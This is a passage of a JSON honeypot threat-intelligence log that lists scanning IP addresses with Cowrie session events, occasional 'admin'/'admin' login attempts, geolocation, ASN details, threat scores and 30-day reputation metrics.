        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T19:04:20.292000+00:00",
        "last_seen_30d": "2026-04-14T19:05:22.404000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "20.80.105.50": {
      "attack_count": 4,
      "first_seen": "2026-04-28T19:20:23.286Z",
      "last_seen": "2026-04-28T19:20:33.825Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 62.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.4,
        "persistence": 22.5,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 27,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T17:17:07.839000+00:00",
        "last_seen_30d": "2026-04-28T19:21:40.769000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 8,
        "Cowrie": 4
      }
    },
    "45.156.128.58": {
      "attack_count": 4,
      "first_seen": "2026-04-07T08:19:14.129Z",
      "last_seen": "2026-04-07T08:19:53.307Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 72.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.8,
        "persistence": 23.3,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 28,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T09:54:34.100000+00:00",
        "last_seen_30d": "2026-04-30T10:00:11.957000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Honeytrap": 7,
        "Cowrie": 4,
        "H0neytr4p": 1
      }
    },
    "64.62.156.40": {
      "attack_count": 4,
      "first_seen": "2026-04-30T13:54:37.462Z",
      "last_seen": "2026-04-30T13:54:41.470Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 73.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.8,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 28,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T04:33:14.530000+00:00",
        "last_seen_30d": "2026-04-30T13:55:45.802000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "101.47.158.137": {
      "attack_count": 3,
      "first_seen": "2026-04-24T08:19:08.236Z",
      "last_seen": "2026-04-24T08:20:08.663Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 54.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.3,
        "persistence": 12.5,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 15,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-13T11:07:59.529000+00:00",
        "last_seen_30d": "2026-04-27T11:23:28.039000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Tanner": 44,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "107.148.180.44": {
      "attack_count": 3,
      "first_seen": "2026-04-30T15:05:59.823Z",
      "last_seen": "2026-04-30T15:07:01.793Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T15:05:59.823000+00:00",
        "last_seen_30d": "2026-04-30T15:08:10.638000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "13.83.90.155": {
      "attack_count": 3,
      "first_seen": "2026-04-05T16:17:13.571Z",
      "last_seen": "2026-04-05T16:18:18.566Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T16:17:13.571000+00:00",
        "last_seen_30d": "2026-04-05T16:19:27.571000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "137.184.105.225": {
      "attack_count": 3,
      "first_seen": "2026-04-22T19:37:18.738Z",
      "last_seen": "2026-04-22T19:37:18.757Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 49.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.2,
        "persistence": 3.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 4,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-19T05:36:54+00:00",
        "last_seen_30d": "2026-04-22T19:38:29.192000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Honeytrap": 17,
        "Cowrie": 3,
        "CitrixHoneypot": 1,
        "Dionaea": 1
      }
    },
    "195.184.76.190": {
      "attack_count": 3,
      "first_seen": "2026-04-07T20:01:30.271Z",
      "last_seen": "2026-04-07T20:01:30.272Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 80.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 15.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 29,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T21:25:04+00:00",
        "last_seen_30d": "2026-04-30T21:13:11.561000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Honeytrap": 10,
        "Cowrie": 3,
        "Dionaea": 1
      }
    },
    "1.24.16.47": {
      "attack_count": 2,
      "first_seen": "2026-04-29T04:11:39.393Z",
      "last_seen": "2026-04-29T04:11:42.848Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 44.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 7.8,
        "persistence": 19.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 23,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-07T01:37:34+00:00",
        "last_seen_30d": "2026-04-29T04:12:51.184000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2,
        "Honeytrap": 1
      }
    },
    "111.230.113.242": {
      "attack_count": 2,
      "first_seen": "2026-04-17T05:13:08.838Z",
      "last_seen": "2026-04-17T05:13:40.167Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T05:13:08.838000+00:00",
        "last_seen_30d": "2026-04-17T05:14:47.807000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "116.47.238.46": {
      "attack_count": 2,
      "first_seen": "2026-04-13T07:49:33.868Z",
      "last_seen": "2026-04-13T07:50:04.482Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Ansan-si",
      "asn": 17858,
      "as_org": "LG POWERCOMM",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T07:49:33.868000+00:00",
        "last_seen_30d": "2026-04-13T07:51:08.254000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "117.255.210.165": {
      "attack_count": 2,
      "first_seen": "2026-04-07T15:52:57.732Z",
      "last_seen": "2026-04-07T15:53:11.255Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Jaipur",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T15:52:57.732000+00:00",
        "last_seen_30d": "2026-04-07T15:54:15.161000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.157.123.53": {
      "attack_count": 2,
      "first_seen": "2026-04-25T03:17:23.025Z",
      "last_seen": "2026-04-25T03:17:23.026Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T03:17:23.025000+00:00",
        "last_seen_30d": "2026-04-25T03:48:29.185000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "121.41.97.232": {
      "attack_count": 2,
      "first_seen": "2026-04-28T07:57:40.294Z",
      "last_seen": "2026-04-28T07:57:40.295Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T07:57:40.294000+00:00",
        "last_seen_30d": "2026-04-28T07:58:46.219000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.237.27.181": {
      "attack_count": 2,
      "first_seen": "2026-04-02T09:26:33.727Z",
      "last_seen": "2026-04-02T09:26:47.300Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "New Zealand",
      "country_code": "NZ",
      "city": "Auckland",
      "asn": 4771,
      "as_org": "Spark New Zealand Trading Ltd.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T09:26:33.727000+00:00",
        "last_seen_30d": "2026-04-02T09:27:48.251000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "132.248.44.87": {
      "attack_count": 2,
      "first_seen": "2026-04-27T09:55:23.698Z",
      "last_seen": "2026-04-27T09:57:23.718Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Mexico City",
      "asn": 278,
      "as_org": "Universidad Nacional Autonoma de Mexico",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T09:55:23.698000+00:00",
        "last_seen_30d": "2026-04-27T10:07:28.468000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "147.185.132.114": {
      "attack_count": 2,
      "first_seen": "2026-04-22T00:02:33.878Z",
      "last_seen": "2026-04-22T00:02:34.197Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 30,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T21:28:17+00:00",
        "last_seen_30d": "2026-04-30T22:50:12.280000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 65,
        "Honeytrap": 25,
        "Ciscoasa": 2,
        "Cowrie": 2,
        "ConPot": 1,
        "Dionaea": 1
      }
    },
    "168.195.203.84": {
      "attack_count": 2,
      "first_seen": "2026-04-29T21:07:06.211Z",
      "last_seen": "2026-04-29T21:07:19.539Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Hidalgo",
      "asn": 3549,
      "as_org": "Level 3 Parent, LLC",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T21:07:06.211000+00:00",
        "last_seen_30d": "2026-04-29T21:08:23.987000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "195.140.214.29": {
      "attack_count": 2,
      "first_seen": "2026-04-11T01:15:34.772Z",
      "last_seen": "2026-04-11T01:15:35.029Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 25369,
      "as_org": "Hydra Communications Ltd",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.9,
        "persistence": 8.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 243,
        "days_active_30d": 10,
        "ports_targeted_30d": 77,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T18:35:52.504000+00:00",
        "last_seen_30d": "2026-04-11T01:16:35.898000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 138,
        "Honeytrap": 102,
        "Cowrie": 2,
        "Tanner": 1
      }
    },
    "198.235.24.195": {
      "attack_count": 2,
      "first_seen": "2026-04-11T00:12:40.412Z",
      "last_seen": "2026-04-11T00:12:50.136Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 131,
        "days_active_30d": 29,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T02:16:27.932000+00:00",
        "last_seen_30d": "2026-04-29T20:32:16.772000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 88,
        "Honeytrap": 40,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "202.142.121.23": {
      "attack_count": 2,
      "first_seen": "2026-04-30T21:26:53.381Z",
      "last_seen": "2026-04-30T21:27:06.362Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 17747,
      "as_org": "SITI NETWORKS LIMITED",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T21:26:53.381000+00:00",
        "last_seen_30d": "2026-04-30T21:28:13.278000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "203.159.249.80": {
      "attack_count": 2,
      "first_seen": "2026-04-06T23:22:40.399Z",
      "last_seen": "2026-04-06T23:22:52.520Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 4621,
      "as_org": "Chulalongkorn University",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T23:22:40.399000+00:00",
        "last_seen_30d": "2026-04-06T23:23:55.751000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.174": {
      "attack_count": 2,
      "first_seen": "2026-04-15T01:23:09.508Z",
      "last_seen": "2026-04-15T01:23:19.213Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 29,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-02T05:25:14+00:00",
        "last_seen_30d": "2026-04-30T04:03:25.037000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 75,
        "Honeytrap": 32,
        "Redishoneypot": 3,
        "Cowrie": 2,
        "ConPot": 1,
        "Honeyaml": 1
      }
    },
    "206.135.174.233": {
      "attack_count": 2,
      "first_seen": "2026-04-30T14:41:25.687Z",
      "last_seen": "2026-04-30T14:41:37.987Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Sialkot",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T14:41:25.687000+00:00",
        "last_seen_30d": "2026-04-30T14:42:42.803000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "218.157.93.160": {
      "attack_count": 2,
      "first_seen": "2026-04-10T10:30:33.316Z",
      "last_seen": "2026-04-10T10:30:46.891Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Buk-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T10:30:33.316000+00:00",
        "last_seen_30d": "2026-04-10T10:31:51.868000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.134.80.121": {
      "attack_count": 2,
      "first_seen": "2026-04-06T10:33:17.902Z",
      "last_seen": "2026-04-06T10:33:48.546Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Yuanlin",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T10:33:17.902000+00:00",
        "last_seen_30d": "2026-04-06T10:34:55.266000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "39.74.212.202": {
      "attack_count": 2,
      "first_seen": "2026-04-07T10:48:49.745Z",
      "last_seen": "2026-04-07T10:49:20.258Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T10:48:49.745000+00:00",
        "last_seen_30d": "2026-04-07T10:50:22.358000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "47.239.25.254": {
      "attack_count": 2,
      "first_seen": "2026-04-05T06:36:57.884Z",
      "last_seen": "2026-04-05T06:36:57.885Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
